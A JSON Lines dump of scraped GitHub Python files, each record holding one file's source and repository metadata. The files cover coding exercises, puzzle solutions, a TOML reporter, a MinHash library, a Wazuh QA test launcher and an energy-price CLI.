+{"seq_id":"33951423828","text":"from random import randint\n\n\nclass Geracao:\n    \n    def __init__(self) -> None:\n        texto = 'Programa irá gerar um número aleatório'\n        print(f'{\"#\"*len(texto)}')\n        print(f'{texto.center(len(texto))}')\n        print(f'{\"#\"*len(texto)}')\n        \n        self.numero_adivinhado = ''\n        self.numero_gerado = randint(0, 11)\n        \n    def perguntar_numero(self):\n        while self.numero_adivinhado != self.numero_gerado:\n            self.numero_adivinhado = int(input('Adivinhe um número entra [0 e 10]: '))\n        print(f'Parabéns, Você acertou!\\nO número gerado foi {self.numero_gerado}')","repo_name":"carlosrjhoe/Python","sub_path":"Exercicios_Livro_Python_Na_Pratica/EXERCICIOS/Exercicios_101_a_final/Ex109_gerar_numero_aleatorio.py","file_name":"Ex109_gerar_numero_aleatorio.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43038104037","text":"def main():\n    k = int(input())\n    p = 10**9+7\n    # DP[n][i] = n桁の数値について、各桁の数値の和がiである者の組み合わせ数\n    # DP[n][i] = DP[n-1][i-1]+...+DP[n-1][i-9]\n    # DP[1][i] = 1 (1<=i<=9)\n    # DP[i] = DP[i-1]+...+DP[i-9]\n    DP = [0]*(k+1)\n    DP[0] = 1\n\n    for i in range(1, k+1):\n        for di in range(1, 10):\n            if i-di < 0:\n                break\n            DP[i] += DP[i-di] % p\n\n    ans = 0\n    if k % 9 == 0:\n        ans = DP[k]\n    print(ans % p)\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/_typical90_ap_1001.py","file_name":"_typical90_ap_1001.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26562031398","text":"### 미로 탈출\n##  (1,1)에서 (n,m)까지 최단 경로로 미로를 탈출해라!\nfrom collections import deque\n\nn,m=map(int,input().split())\n\ngraph=[]\nfor i in range(n):\n    graph.append(list(map(int,input().split())))\n\n#상,하,좌,우\ndx=[-1,1,0,0]\ndy=[0,0,-1,1]\n\ndef bfs(x,y):\n    queue=deque()\n    queue.append((x,y))\n    while queue:\n        x,y=queue.popleft()\n        for i in range(4):\n            nx=x+dx[i]\n            ny=y+dy[i]\n            #범위 초과일때\n            if nx<0 or nx>=n or ny<0 or ny>=m:\n                continue\n            #벽일때\n            if graph[nx][ny]==0:\n                continue\n            if graph[nx][ny]==1:\n                graph[nx][ny]=graph[x][y]+1\n                queue.append((nx,ny))\n\n    #목표 지점 반환 = 원하는 최단 이동수\n    return graph[n-1][m-1]\n\nprint(bfs(0,0))\n\n\n","repo_name":"MoonChangHo/CondingTest","sub_path":"chapter5/Problem5_11.py","file_name":"Problem5_11.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33732167222","text":"\"\"\"TOML reporters.\"\"\"\n\nfrom __future__ import annotations\n\nimport json\nfrom typing import TYPE_CHECKING, Any\n\nimport tomli_w\n\nfrom project_config.reporters.base import (\n    BaseColorReporter,\n    BaseNoopFormattedReporter,\n)\n\n\nif TYPE_CHECKING:\n    from project_config.reporters.base import (\n        FilesErrors,\n        FormatterDefinitionType,\n    )\n\n\ndef _replace_nulls_by_repr_strings_in_dict(\n    data: dict[str, Any],\n) -> dict[str, Any]:\n    \"\"\"Iterates through a dictionary and replaces nulls by empty strings.\"\"\"\n    if isinstance(data, dict):\n        return {\n            key: _replace_nulls_by_repr_strings_in_dict(value)\n            for key, value in data.items()\n        }\n    elif isinstance(data, list):\n        return [_replace_nulls_by_repr_strings_in_dict(value) for value in data]\n    elif data is None:\n        return \"!!null\"\n    return data\n\n\ndef _normalize_indentation_to_2_spaces(string: str) -> str:\n    \"\"\"Normalizes indentation of the beginning of lines to 2 spaces.\"\"\"\n    new_lines: list[str] = []\n\n    for line in string.splitlines():\n        # count number of spaces at the beginning of the line\n        spaces_at_start = len(line) - len(line.lstrip())\n        if spaces_at_start < 3:\n            new_lines.append(line)\n        else:\n            new_lines.append(\n                f'{\" \" * int(spaces_at_start / 2)}{line.lstrip()}',\n            )\n\n    return \"\\n\".join(new_lines)\n\n\ndef _common_generate_errors_report(\n    files_errors: FilesErrors,\n    format_metachar: FormatterDefinitionType,\n    format_file: FormatterDefinitionType,\n    format_key: FormatterDefinitionType,\n    format_error_message: FormatterDefinitionType,\n    format_definition: FormatterDefinitionType,\n    format_hint: FormatterDefinitionType,\n    format_fixed: FormatterDefinitionType,\n) -> str:\n    report = \"\"\n    for file, errors in files_errors.items():\n        report += (\n            f\"{format_metachar('[[')}{format_file(json.dumps(file))}\"\n            f\"{format_metachar(']]')}\\n\"\n        )\n\n        for error in errors:\n            report += (\n                f\"{format_key('message')} =\"\n                f\" {format_error_message(json.dumps(error['message']))}\\n\"\n                f\"{format_key('definition')} =\"\n                f\" {format_definition(json.dumps(error['definition']))}\\n\"\n            )\n\n            if \"hint\" in error:\n                report += (\n                    f\"{format_key('hint')} =\"\n                    f\" {format_hint(json.dumps(error['hint']))}\\n\"\n                )\n            if error.get(\"fixable\"):\n                if error.get(\"fixed\"):\n                    report += (\n                        f\"{format_key('fixed')} = {format_fixed('true')}\\n\"\n                    )\n                else:\n                    report += (\n                        f\"{format_key('fixable')} = {format_fixed('true')}\\n\"\n                    )\n            report += \"\\n\"\n    return report.rstrip(\"\\n\")\n\n\nclass TomlReporter(BaseNoopFormattedReporter):\n    \"\"\"Black/white reporter in TOML format.\"\"\"\n\n    def generate_errors_report(self) -> str:\n        \"\"\"Generate an errors report in black/white TOML format.\"\"\"\n        return _common_generate_errors_report(\n            self.errors,\n            self.format_metachar,\n            self.format_file,\n            self.format_key,\n            self.format_error_message,\n            self.format_definition,\n            self.format_hint,\n            self.format_fixed,\n        )\n\n    def generate_data_report(\n        self,\n        data_key: str,  # noqa: U100\n        data: dict[str, Any],\n    ) -> str:\n        \"\"\"Generate a data report in black/white TOML format.\"\"\"\n        report = \"\"\n        if \"plugins\" in data:\n            if not data[\"plugins\"]:\n                data.pop(\"plugins\")\n            elif len(data[\"plugins\"]) == 1:\n                plugin = data.pop(\"plugins\")[0]\n                report += f\"plugins = [{json.dumps(plugin)}]\\n\\n\"\n        report += tomli_w.dumps(\n            _replace_nulls_by_repr_strings_in_dict(data),\n        )\n        return _normalize_indentation_to_2_spaces(report)\n\n\nclass TomlColorReporter(BaseColorReporter):\n    \"\"\"Color reporter in TOML format.\"\"\"\n\n    def generate_errors_report(self) -> str:\n        \"\"\"Generate an errors report in TOML format with colors.\"\"\"\n        return _common_generate_errors_report(\n            self.errors,\n            self.format_metachar,\n            self.format_file,\n            self.format_key,\n            self.format_error_message,\n            self.format_definition,\n            self.format_hint,\n            self.format_fixed,\n        )\n\n    def generate_data_report(\n        self,\n        data_key: str,\n        data: dict[str, Any],\n    ) -> str:\n        \"\"\"Generate data report in TOML format with colors.\"\"\"\n        report = \"\"\n        if data_key == \"style\":\n            plugins = data.pop(\"plugins\", [])\n            if plugins:\n                report += (\n                    f'{self.format_config_key(\"plugins\")}'\n                    f' {self.format_metachar(\"=\")} '\n                )\n                if len(plugins) == 1:\n                    report += (\n                        f'{self.format_metachar(\"[\")}'\n                        f\"{self.format_config_value(json.dumps(plugins[0]))}\"\n                        f'{self.format_metachar(\"]\")}'\n                    )\n                else:\n                    report += f'{self.format_metachar(\"[\")}\\n'\n                    for plugin in plugins:\n                        report += (\n                            f\"  {self.format_config_value(json.dumps(plugin))}\"\n                            f'{self.format_metachar(\",\")}\\n'\n                        )\n                    report += self.format_metachar(\"]\")\n                report += \"\\n\\n\"\n\n            context = None\n            for line in tomli_w.dumps(\n                _replace_nulls_by_repr_strings_in_dict(data),\n            ).splitlines():\n                if not line:\n                    report += \"\\n\"\n                elif line.startswith(\"[[\") and line.endswith(\"]]\"):\n                    report += (\n                        f\"{self.format_metachar('[[')}\"\n                        f\"{self.format_config_key(line[2:-2])}\"\n                        f\"{self.format_metachar(']]')}\\n\"\n                    )\n                elif line.startswith(\"[\") and line.endswith(\"]\"):\n                    points_after_rules = self.format_metachar(\".\").join(\n                        [\n                            self.format_key(action)\n                            for action in line[1:-1].split(\".\")[1:]\n                        ],\n                    )\n                    report += (\n                        f\"{self.format_metachar('[')}\"\n                        f\"{self.format_config_key('rules')}\"\n                        f\"{self.format_metachar('.')}\"\n                        f\"{points_after_rules}\"\n                        f\"{self.format_metachar(']')}\\n\"\n                    )\n\n                    actions_end = line.rstrip(\"]\")\n                    if actions_end.endswith((\"files\", \"files.not\")):\n                        context = \"files\"\n                    else:\n                        context = \"action\"\n                elif line.startswith(\"files =\"):\n                    report += (\n                        f\"{self.format_key('files')}\"\n                        f\" {self.format_metachar('=')}\"\n                        f\" {self.format_metachar(line[8:])}\\n\"\n                    )\n                    context = \"files\"\n                elif line[0].isalpha():\n                    key, value = line.split(\"=\", maxsplit=1)\n                    report += (\n                        f\"{self.format_key(key.strip())}\"\n                        f\" {self.format_metachar('=')}\"\n                        f\" {self.format_config_value(value.strip())}\\n\"\n                    )\n                    context = \"action\"\n                elif not line.startswith(\"    \"):\n                    if len(line) == 1:  # end of action like ']'\n                        formatter = (\n                            self.format_metachar\n                            if context == \"files\"\n                            else self.format_config_value\n                        )\n                        report += f\"{formatter(line)}\\n\"\n                    else:\n                        if context == \"files\":\n                            # files: not\n                            #\n                            # file = reason\n                            file, reason = line.split(\"=\", maxsplit=1)\n                            report += (\n                                f\"{self.format_file(file.strip())}\"\n                                f\" {self.format_metachar('=')}\"\n                                f\" {self.format_config_value(reason.strip())}\\n\"\n                            )\n                        else:\n                            report += f\"{self.format_config_value(line)}\\n\"\n                elif context == \"files\":\n                    indent = len(line) - len(line.lstrip())\n                    report += (\n                        f\"{' ' * indent}\"\n                        f\"{self.format_file(line[indent:-1])}\"\n                        f\"{self.format_metachar(line[-1])}\\n\"\n                    )\n                else:  # context == \"action\"\n                    indent = len(line) - len(line.lstrip())\n                    report += (\n                        f\"{' ' * indent}\"\n                        f\"{self.format_config_value(line[indent:])}\\n\"\n                    )\n        else:\n            for key, value in data.items():\n                report += (\n                    f\"{self.format_config_key(key)}\"\n                    f' {self.format_metachar(\"=\")}'\n                )\n                if isinstance(value, list):\n                    report += f' {self.format_metachar(\"[\")}\\n'\n                    for item in value:\n                        report += (\n                            f\"  {self.format_config_value(json.dumps(item))}\"\n                            f'{self.format_metachar(\",\")}\\n'\n                        )\n                    report += f'{self.format_metachar(\"]\")}\\n'\n                else:\n                    report += (\n                        f\" {self.format_config_value(json.dumps(value))}\\n\"\n                    )\n\n        return _normalize_indentation_to_2_spaces(report)\n","repo_name":"mondeja/project-config","sub_path":"src/project_config/reporters/toml.py","file_name":"toml.py","file_ext":"py","file_size_in_byte":10323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"22317547649","text":"from functools import cmp_to_key\nimport json\n\n\ndef load():\n    with open(\"input\") as f:\n        packet = []\n        for row in f:\n            if row.strip() == \"\":\n                yield packet\n                packet = []\n                continue\n            packet.append(json.loads(row))\n        yield packet\n\n\ndef compare(left, right):\n    if isinstance(left, int) and isinstance(right, int):\n        return left - right\n    elif isinstance(left, int) and isinstance(right, list):\n        return compare([left], right)\n    elif isinstance(left, list) and isinstance(right, int):\n        return compare(left, [right])\n    elif isinstance(left, list) and isinstance(right, list):\n        i = 0\n        while True:\n            if i >= len(left) or i >= len(right):\n                return len(left) - len(right)\n            res = compare(left[i], right[i])\n            if res != 0:\n                return res\n            i += 1\n\n\ndef find_decoder_key():\n    div_pkt1, div_pkt2 = [[2]], [[6]]\n    packets = [div_pkt1, div_pkt2]\n    for pkt1, pkt2 in load():\n        packets.append(pkt1)\n        packets.append(pkt2)\n    packets = sorted(packets, key=cmp_to_key(compare))\n    return (packets.index(div_pkt1) + 1) * (packets.index(div_pkt2) + 1)\n\n\nprint(find_decoder_key())\n","repo_name":"tomhel/AoC","sub_path":"2022/day13/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"19454529540","text":"import logging\nimport json\n\nlogging.basicConfig(format='%(asctime)s %(message)s', datefmt='%d.%m.%Y %H:%M:%S', level=logging.INFO)\n\ntry:\n    with open('credentials.json') as json_file:\n        credentials = json.load(json_file)\nexcept IOError as e:\n    logging.error('Error loading credentials file: %s', e.message)","repo_name":"avionipevaju/MoodyPy","sub_path":"moody_py/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"27622050282","text":"# This solution assumes n=2. If this solution failed, I would rewrite it with\n# n=3 and n=4, but this solution is sufficient.\nimport itertools\nfrom helpers import helpers\n\nPERMUTATIONS = (itertools.permutations(reversed(range(1, 10))))\n\ndef get_largest_pandigital_multiple():\n    # For each permutation\n    for permutation in PERMUTATIONS:\n        # Split the permutation in two. Note that the only split that makes\n        # sense is the the first being 4 digits and the second being 5\n        # digits. This is because second = 2*first.\n        first = helpers.list_to_int(permutation[:4])\n        second = helpers.list_to_int(permutation[4:])\n\n        if second == 2 * first:\n            return int(str(first) + str(second))\n\ndef main():\n   answer = get_largest_pandigital_multiple()\n   print(answer)\n\nif __name__ == '__main__':\n  main()\n","repo_name":"pf981/project-euler","sub_path":"038_pandigital_multiples.py","file_name":"038_pandigital_multiples.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"72290948852","text":"from jedi import Script\n\n\ndef test_function_execution():\n    \"\"\"\n    We've been having an issue of a mutable list that was changed inside the\n    function execution. Test if an execution always returns the same result.\n    \"\"\"\n\n    s = \"\"\"\n    def x():\n        return str()\n    x\"\"\"\n    d = Script(s).goto_definitions()[0]\n    # Now just use the internals of the result (easiest way to get a fully\n    # usable function).\n    func, evaluator = d._definition, d._evaluator\n    # Should return the same result both times.\n    assert len(evaluator.execute(func)) == 1\n    assert len(evaluator.execute(func)) == 1\n","repo_name":"xleng/YCM_WIN_X86","sub_path":"third_party/ycmd/third_party/jedi/test/test_evaluate/test_representation.py","file_name":"test_representation.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"21"}
+{"seq_id":"18830428105","text":"# -*- coding: utf-8 -*-\ntry:\n    from functools import lru_cache\nexcept ImportError:\n    from functools32 import lru_cache\n\nimport numpy as np\n\nfrom .cMinhash import minhash_32, minhash_64\n\n\nclass MinHasher(object):\n    def __init__(self, seeds, char_ngram=8, random_state=None, hashbytes=8):\n        \"\"\"The MinHasher creates fingerprints from raw documents.\n\n        The MinHasher facilitates the creation of MinHash document\n        fingerprints. It creates overlapping character ngram shingles of length\n        `char_ngram` using a sliding window over the document. To preprocessing\n        to the documents is done, they are shingled as is.\n\n        Parameters:\n        -----------\n        seeds: np.ndarray, int\n            A Numpy array of 32bit unsigned integers to use as seeds to\n            initialise hash functions, or a single integer for the number of\n            seeds to create. A minhash is computed for each hash function\n            derived from seeds.\n\n        char_ngram: int\n            The number of consecutive characters to include in a sliding window\n            when creating the document shingles.\n\n        random_state: None, int, np.random.RandomState\n            A random state to initialise the random number generator with.\n        \"\"\"\n        self.char_ngram = char_ngram\n        random_state = np.random.RandomState(random_state)\n        if hashbytes not in set([4, 8, 16]):\n            raise ValueError('Hash has to be 4, 8 or 16 bytes.')\n\n        if hashbytes == 16:\n            raise NotImplementedError()\n\n        self.hashbytes = hashbytes\n        if isinstance(seeds, np.ndarray):\n            self._seeds = seeds.astype(np.uint32)\n        else:\n            self._seeds = np.array(random_state.randint(0, 1e6, seeds),\n                                   dtype=np.uint32)\n\n    @property\n    def num_seeds(self):\n        return len(self._seeds)\n\n    @lru_cache(maxsize=10000)\n    def fingerprint(self, text):\n        if isinstance(text, str):\n            text = text.encode('utf8')\n        if self.hashbytes == 4:\n            fingerprint = minhash_32(text, len(text),\n                                     self._seeds, self.char_ngram)\n        elif self.hashbytes == 8:\n            fingerprint = minhash_64(text, len(text),\n                                     self._seeds, self.char_ngram)\n        return fingerprint\n\n    def jaccard(self, doc1, doc2):\n        if isinstance(doc1, str):\n            f_a = set(self.fingerprint(doc1))\n        else:\n            f_a = doc1  # assume it's z fingerprint\n        if isinstance(doc1, str):\n            f_b = set(self.fingerprint(doc2))\n        else:\n            f_b = doc2\n        return len(f_a & f_b) / len(f_a | f_b)\n","repo_name":"mattilyra/LSH","sub_path":"lsh/minhash.py","file_name":"minhash.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","stars":260,"dataset":"github-code","pt":"21"}
+{"seq_id":"18379901441","text":"import os\nfrom tempfile import gettempdir\n\nfrom wazuh_testing.qa_ctl.provisioning.ansible.ansible_runner import AnsibleRunner\nfrom wazuh_testing.qa_ctl.provisioning.ansible.ansible_task import AnsibleTask\nfrom wazuh_testing.tools.time import get_current_timestamp\nfrom wazuh_testing.qa_ctl import QACTL_LOGGER\nfrom wazuh_testing.tools.logging import Logging\n\n\nclass TestLauncher:\n    \"\"\"The class encapsulates the execution of a list of tests previously built and passed as a parameter.\n\n    Attributes:\n        tests (list(Test)): List containing all the tests to be executed in the remote machine\n        ansible_inventory_path (str): path to the ansible inventory file\n        qa_ctl_configuration (QACTLConfiguration): QACTL configuration.\n        qa_framework_path (str, None): remote directory path where the qa repository will be download to\n\n    Args:\n        tests (list(Test)): List containing all the tests to be executed in the remote machine\n        ansible_inventory_path (str): path to the ansible inventory file\n        qa_ctl_configuration (QACTLConfiguration): QACTL configuration.\n        qa_framework_path (str, None): remote directory path where the qa repository will be download to\n    \"\"\"\n    LOGGER = Logging.get_logger(QACTL_LOGGER)\n    ALL_DEBUG_OPTIONS = [\"syscheck.debug=2\", \"agent.debug=2\", \"monitord.rotate_log=0\", \"analysisd.debug=2\",\n                         \"wazuh_modules.debug=2\", \"wazuh_database.interval=1\", \"wazuh_db.commit_time=2\",\n                         \"wazuh_db.commit_time_max=3\", \"remoted.debug=2\"]\n    DEBUG_OPTIONS = {\n        'active_response': {\n            'manager': ['monitord.rotate_log=0'],\n            'agent': {\n                'generic': ['monitord.rotate_log=0'],\n                'windows': ['monitord.rotate_log=0']\n            }\n        },\n        'agentd': {\n            'agent': {\n                'generic': ['agent.debug=2', 'execd.debug=2', 'monitord.rotate_log=0'],\n                'windows': ['agent.debug=2', 'execd.debug=2', 'monitord.rotate_log=0']\n            }\n        },\n        'analysisd': {\n            'manager': ['analysisd.debug=2', 'monitord.rotate_log=0']\n        },\n        'api': {\n            'manager': ['monitord.rotate_log=0']\n        },\n        'fim': {\n            'manager': ['syscheck.debug=2', 'analysisd.debug=2', 'monitord.rotate_log=0'],\n            'agent': {\n                'generic': ['syscheck.debug=2', 'agent.debug=2', 'monitord.rotate_log=0'],\n                'windows': ['syscheck.debug=2', 'agent.debug=2', 'monitord.rotate_log=0']\n            }\n        },\n        'gcloud': {\n            'manager': ['analysisd.debug=2', 'wazuh_modules.debug=2', 'monitord.rotate_log=0']\n        },\n        'logtest': {\n            'manager': ['analysisd.debug=2']\n        },\n        'remoted': {\n            'manager': ['remoted.debug=2', 'wazuh_database.interval=1', 'wazuh_db.commit_time=2',\n                        'wazuh_db.commit_time_max=3', 'monitord.rotate_log=0']\n        },\n        'vulnerability_detector': {\n            'manager': ['wazuh_modules.debug=2', 'monitord.rotate_log=0']\n        },\n        'wazuh_db': {\n            'manager': ['wazuh_modules.debug=2', 'monitord.rotate_log=0']\n        },\n        'wpk': {\n            'manager': ['wazuh_modules.debug=2'],\n            'agent': {\n                'generic': ['wazuh_modules.debug=2'],\n                'windows': ['windows.debug=2']\n            }\n        }\n    }\n\n    def __init__(self, tests, ansible_inventory_path, qa_ctl_configuration, qa_framework_path=None):\n        self.qa_framework_path = qa_framework_path if qa_framework_path is not None else \\\n                                                     os.path.join(gettempdir(), 'wazuh_qa_ctl', 'wazuh-qa')\n        self.ansible_inventory_path = ansible_inventory_path\n        self.qa_ctl_configuration = qa_ctl_configuration\n        self.tests = tests\n\n    def __set_local_internal_options(self, hosts, modules, component, system, wazuh_install_path, ansible_admin_user):\n        \"\"\"Private method that set the local internal options in the hosts passed by parameter\n\n            Args:\n                hosts (list(str)): list of hosts aliases to index the dict attribute wazuh_dir_paths and extract the\n                                   wazuh installation path.\n                modules (list(str)): List of wazuh modules to which the test belongs.\n                component (str): Test wazuh target (manager, agent).\n                system (str): System where the test will be launched.\n                wazuh_install_path (str): Wazuh installation directory p.e /var/ossec.\n                ansible_admin_user (str): User to launch the ansible task with admin privileges (ansible_become_user)\n        \"\"\"\n        local_internal_options_content = []\n        system = 'windows' if system == 'windows' else 'generic'\n\n        if isinstance(modules, list) and len(modules) > 0 and component:\n            for module in modules:\n                if component == 'agent':\n                    local_internal_options_content.extend(self.DEBUG_OPTIONS[module][component][system])\n                else:\n                    local_internal_options_content.extend(self.DEBUG_OPTIONS[module][component])\n\n            # Delete duplicated items\n            local_internal_options_content = list(set(local_internal_options_content))\n        else:\n            local_internal_options_content = self.ALL_DEBUG_OPTIONS\n\n        playbook_file_path = os.path.join(gettempdir(), 'wazuh_qa_ctl' f\"{get_current_timestamp()}.yaml\")\n\n        if system == 'windows':\n            local_internal_options_path = f\"{wazuh_install_path}\\\\local_internal_options.conf\"\n        else:\n            local_internal_options_path = f\"{wazuh_install_path}/etc/local_internal_options.conf\"\n\n        clean_local_internal_configuration_unix = {\n            'name': 'Clean local internal configuration (Unix)',\n            'copy': {'dest': local_internal_options_path, 'content': ''},\n            'become': True,\n            'when': 'ansible_system != \"Win32NT\"'\n        }\n\n        clean_local_internal_configuration_windows = {\n            'name': 'Clean local internal configuration (Windows)',\n            'win_copy': {'dest': local_internal_options_path, 'content': ''},\n            'become': True,\n            'become_method': 'runas',\n            'become_user': ansible_admin_user,\n            'when': 'ansible_system == \"Win32NT\"'\n        }\n\n        set_local_internal_configuration_unix = {\n            'name': 'Set custom local internal configuration (Unix)',\n            'lineinfile': {'path': local_internal_options_path, 'line': \"{{ item }}\"},\n            'with_items': local_internal_options_content,\n            'become': True,\n            'when': 'ansible_system != \"Win32NT\"'\n        }\n\n        set_local_internal_configuration_windows = {\n            'name': 'Set custom local internal configuration (Windows)',\n            'win_lineinfile': {'path': local_internal_options_path, 'line': \"{{ item }}\"},\n            'with_items': local_internal_options_content.copy(),\n            'become': True,\n            'become_method': 'runas',\n            'become_user': ansible_admin_user,\n            'when': 'ansible_system == \"Win32NT\"'\n        }\n\n        ansible_tasks = [\n            AnsibleTask(clean_local_internal_configuration_unix),\n            AnsibleTask(clean_local_internal_configuration_windows),\n            AnsibleTask(set_local_internal_configuration_unix),\n            AnsibleTask(set_local_internal_configuration_windows)\n        ]\n\n        playbook_parameters = {'become': False, 'gather_facts': True, 'tasks_list': ansible_tasks,\n                               'playbook_file_path': playbook_file_path, 'hosts': hosts}\n\n        TestLauncher.LOGGER.debug(f\"Setting local_internal_options configuration in {hosts} hosts with \"\n                                  f\"{local_internal_options_content}\")\n        AnsibleRunner.run_ephemeral_tasks(self.ansible_inventory_path, playbook_parameters, raise_on_error=False,\n                                          output=self.qa_ctl_configuration.ansible_output)\n\n    def add(self, test):\n        \"\"\"Add new test to the TestLauncher instance.\n\n        Args:\n            test (Test): Test object.\n        \"\"\"\n        if test:\n            self.tests.append(test)\n\n    def run(self):\n        \"\"\"Function to iterate over a list of tests and run them one by one.\"\"\"\n        for test in self.tests:\n            self.__set_local_internal_options(test.hosts, test.modules, test.component, test.system,\n                                              test.wazuh_install_path, test.ansible_admin_user)\n            test.run(self.ansible_inventory_path)\n","repo_name":"wazuh/wazuh-qa","sub_path":"deps/wazuh_testing/wazuh_testing/qa_ctl/run_tests/test_launcher.py","file_name":"test_launcher.py","file_ext":"py","file_size_in_byte":8676,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"21"}
+{"seq_id":"1128915383","text":"import csv\nimport dataclasses\nimport datetime\nimport json\nimport sys\nfrom typing import Optional\n\nimport click\nfrom dateutil import tz\n\nfrom awattar.client import AwattarClient\n\n\n@dataclasses.dataclass\nclass CliContext:\n    \"\"\"Used as click's context object\"\"\"\n\n    client: AwattarClient\n\n\n@click.group\n@click.pass_context\n@click.option(\n    \"--country\",\n    type=click.Choice([\"DE\", \"AT\"]),\n    default=\"AT\",\n    help=\"the API's target country (either Germany or Austria), default: AT\",\n)\ndef cli(ctx, country):\n    \"\"\"Access aWATTar's energy prices API.\"\"\"\n    ctx.obj = CliContext(AwattarClient(country=country))\n\n\n@cli.command\n@click.option(\"--start\", type=click.DateTime(), default=None, help=\"the start date in local time of the interval for which to fetch the prices\")\n@click.option(\"--end\", type=click.DateTime(), default=None, help=\"the end date in local time of the interval for which to fetch the prices\")\n@click.option(\n    \"--year\",\n    type=click.DateTime([\"%Y\"]),\n    default=None,\n    help=\"year in local time for which to fetch the prices\",\n)\n@click.option(\n    \"--month\",\n    type=click.DateTime([\"%Y-%m\"]),\n    default=None,\n    help=\"year and month in local time for which to fetch the prices\",\n)\n@click.option(\n    \"--day\",\n    type=click.DateTime([\"%Y-%m-%d\"]),\n    default=None,\n    help=\"year, month, and day in local time for which to fetch the prices\",\n)\n@click.option(\n    \"--format\",\n    type=click.Choice([\"json\", \"json-pretty\", \"csv\", \"csv-pretty\"]),\n    default=\"json-pretty\",\n)\n@click.option(\"--today\", is_flag=True, default=False, help=\"fetch today's (local time) prices\")\n@click.option(\"--tomorrow\", is_flag=True, default=False, help=\"fetch tomorrow's (local time) prices (will only work after they've been published at 12:55 GMT\")\n@click.argument(\"FILE\", type=click.File(mode=\"w\"), default=\"-\")\ndef fetch_prices(\n    start: Optional[datetime.datetime],\n    end: Optional[datetime.datetime],\n    year: Optional[datetime.datetime],\n    month: Optional[datetime.datetime],\n    day: Optional[datetime.datetime],\n    today: bool,\n    tomorrow: bool,\n    format: str,\n    file: click.File,\n):\n    \"\"\"Fetch hourly energy prices\"\"\"\n    # validate parameter combination\n    single = list(map(bool, [day, month, year, today, tomorrow]))\n    if sum(single) > 1:\n        raise click.UsageError(\n            \"--day, --month, --year, --today, and --tomorrow are mutually exclusive parameters. Please specify at most one of them.\"\n        )\n    if any(single) and (start or end):\n        raise click.UsageError(\n            \"--start and --end parameters are mutually exclusiv with any of --day, --month, --year, --today, and --tomorrow.\"\n        )\n    # The API allows supplying a value for end without one for start as well as\n    # an end date earlier than start date, and returns default data (current\n    # day UTC) in these cases. However, this is not really intuitive and should\n    # probably better be prevented in the first place.\n    if not start and end:\n        raise click.BadOptionUsage(\"--end\", \"--end cannot be supplied without --start\")\n    if start and end and not (start < end):\n        raise click.BadParameter(\n            \"--start not earlier than --end\", param_hint=[\"--start\", \"--end\"]\n        )\n\n    # fetch data\n    if day:\n        items = _get_for_day(day.astimezone(tz.tzlocal()))\n    elif month:\n        items = _get_for_month(month.astimezone(tz.tzlocal()))\n    elif year:\n        items = _get_for_year(year.astimezone(tz.tzlocal()))\n    elif today:\n        date = datetime.datetime.combine(\n            datetime.date.today(), datetime.time.min, tz.tzlocal()\n        )\n        items = _get_for_day(date)\n    elif tomorrow:\n        date = datetime.date.today() + datetime.timedelta(1)\n        date = datetime.datetime.combine(date, datetime.time.min, tz.tzlocal())\n        items = _get_for_day(date)\n    else:\n        items = _get_for_period(start, end)\n\n    # make sure we got some data from the API\n    if not items:\n        click.echo(\"Error when fetching data: no data received\", sys.stderr)\n        raise click.Abort()\n\n    # write data to the provided file (or print to stdout)\n    out_items = [item.to_json_dict() for item in items]\n    if format == \"json\":\n        file.write(json.dumps(out_items))\n    elif format == \"json-pretty\":\n        file.write(json.dumps(out_items, indent=4))\n    else:\n        dialect = \"excel-tab\" if \"pretty\" in format else \"excel\"\n        # default lineterminator led to duplicate newlines in file when running from git bash on Windows\n        writer = csv.DictWriter(\n            file,\n            out_items[0].keys() if out_items else [],\n            lineterminator=\"\\n\",\n            dialect=dialect,\n        )\n        writer.writeheader()\n        writer.writerows(out_items)\n\n\ndef _get_for_period(start: datetime.datetime, end: datetime.datetime):\n    return (\n        click.get_current_context().find_object(CliContext).client.request(start, end)\n    )\n\n\ndef _get_for_year(year: datetime.datetime):\n    return _get_for_period(year, year.replace(year=year.year + 1))\n\n\ndef _get_for_month(month: datetime.datetime):\n    try:\n        return _get_for_period(month, month.replace(month=month.month + 1))\n    except ValueError:\n        return _get_for_period(month, month.replace(year=month.year + 1, month=1))\n\n\ndef _get_for_day(day: datetime.datetime):\n    return _get_for_period(day, day + datetime.timedelta(1))\n","repo_name":"Gransi/awattar","sub_path":"awattar/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":5400,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"}
